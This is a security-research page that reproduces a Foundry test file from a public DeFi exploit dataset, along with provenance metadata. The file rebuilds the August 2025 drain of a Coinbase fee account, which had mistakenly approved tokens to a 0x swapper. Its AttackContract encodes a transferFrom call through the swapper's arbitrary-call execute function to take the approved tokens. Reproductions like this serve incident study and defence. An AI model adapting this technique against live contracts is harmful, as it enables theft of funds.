Public reproduction file
src/test/2025-08/coinbase_exp.sol
Public reproduction file for dataset entry coinbase.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 300k USD8// Attacker : https://etherscan.io/address/0xC31a49D1c4C652aF57cEFDeF248f3c55b801c6499// Attack Contract : https://etherscan.io/address/0xF0D539955974b248d763D60C3663eF272dfC697110// Vulnerable Contract : 11// Attack Tx : https://etherscan.io/tx/0x33b2cb5bc3c0ccb97f0cc21e231ecb6457df242710dfce8d1b68935f0e05773b13// @Info14// Vulnerable Contract Code : 16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/deeberiroz/status/195571898689454934419// Hacking God : N/A20pragma solidity ^0.8.0;22// 0x swapper23address constant MAINNET_SETTLER = 0xDf31A70a21A1931e02033dBBa7DEaCe6c45cfd0f;24address constant ANDY = 0x68BbEd6A47194EFf1CF514B50Ea91895597fc91E;25// coinbase fee receiver account26address constant COINBASE_FEE = 0x382fFCe2287252F930E1C8DC9328dac5BF282bA1;28contract coinbase is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 23134257 - 1;31 function setUp() public {32 vm.createSelectFork("mainnet", blocknumToForkFrom);33 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit34 fundingToken = ANDY;35 }37 function testExploit() public balanceLog {38 // Root cause: A Coinbase fee account accidentally approved multiple ERC-20 tokens to a 0x swapper.39 // The swapper lets anyone execute arbitrary calls.40 // For example:41 // https://etherscan.io/tx/0x8df54ebe76c09cda530f1fccb591166c716000ec95ee5cb37dff997b2ee269f243 // About 2 hours later (Aug-13-2025 07 PM), the attacker noticed and began exploiting it.44 AttackContract attackContract = new AttackContract();45 vm.deal(address(this), 0.01 ether);46 uint256 fund = 0.00000000000000162 ether;47 attackContract.attack{value: fund}();48 }49}51contract AttackContract is Test {52 function attack() public payable {53 AllowedSlippage memory slippage = AllowedSlippage({54 recipient: payable(address(0)),55 buyToken: IERC20(address(0)),56 minAmountOut: 057 });58 bytes[] memory actions = new bytes[](1);59 uint256 amount = IERC20(ANDY).balanceOf(COINBASE_FEE);60 bytes memory action = buildData(0, 10000, ANDY, 0, COINBASE_FEE, msg.sender, amount);61 actions[0] = action;62 // bytes32 data = 0xa00dda5ed0267accdf4ac6940000000000000000000000000000000000000000;63 IMainnetSettler(MAINNET_SETTLER).execute(slippage, actions, "");64 }66 function buildData(67 uint256 arg0,68 uint256 arg1,69 address target,70 uint256 arg3,71 address from,72 address to,73 uint256 amount74 ) public pure returns (bytes memory) {75 // Encode the inner ERC20 transferFrom call76 bytes memory inner = abi.encodeWithSelector(77 bytes4(keccak256("transferFrom(address,address,uint256)")),78 from,79 to,80 amount81 );83 // Encode the outer function call84 bytes memory data = abi.encodeWithSelector(85 bytes4(0x38c9c147),86 arg0,87 arg1,88 target,89 arg3,90 inner91 );92 return data;93 }94}96struct AllowedSlippage {97 address payable recipient;98 IERC20 buyToken;99 uint256 minAmountOut;100}102interface IMainnetSettler {103 function execute(AllowedSlippage calldata slippage, bytes[] calldata actions, bytes32 data)104 external105 payable106 returns (bool);107}Analysis
Dataset entry
Public Foundry test for “coinbase” (2025-08-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc31a49d1c4c652af57cefdef248f3c55b801c649
- Attack Contract
0xf0d539955974b248d763d60c3663ef272dfc6971
- Vulnerable Contract
0x33b2cb5bc3c0ccb97f0cc21e231ecb6457df2427
- Attack Tx
0x33b2cb5bc3c0ccb97f0cc21e231ecb6457df242710dfce8d1b68935f0e05773b
- Twitter: https://x.com/deeberiroz/status/1955718986894549344
- Explorer: https://etherscan.io/address/0xC31a49D1c4C652aF57cEFDeF248f3c55b801c649
- Explorer: https://etherscan.io/address/0xF0D539955974b248d763D60C3663eF272dfC6971
- Explorer: https://etherscan.io/tx/0x8df54ebe76c09cda530f1fccb591166c716000ec95ee5cb37dff997b2ee269f2
File record
- Name
- coinbase
- Path
- src/test/2025-08/coinbase_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d337f123fb89d38445719822c0a353c753ef435c
- Language
- Solidity
- Size
- 107 lines
- Date
- 2025-08-13
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/coinbase_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d337f123fb89d38445719822c0a353c753ef435c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.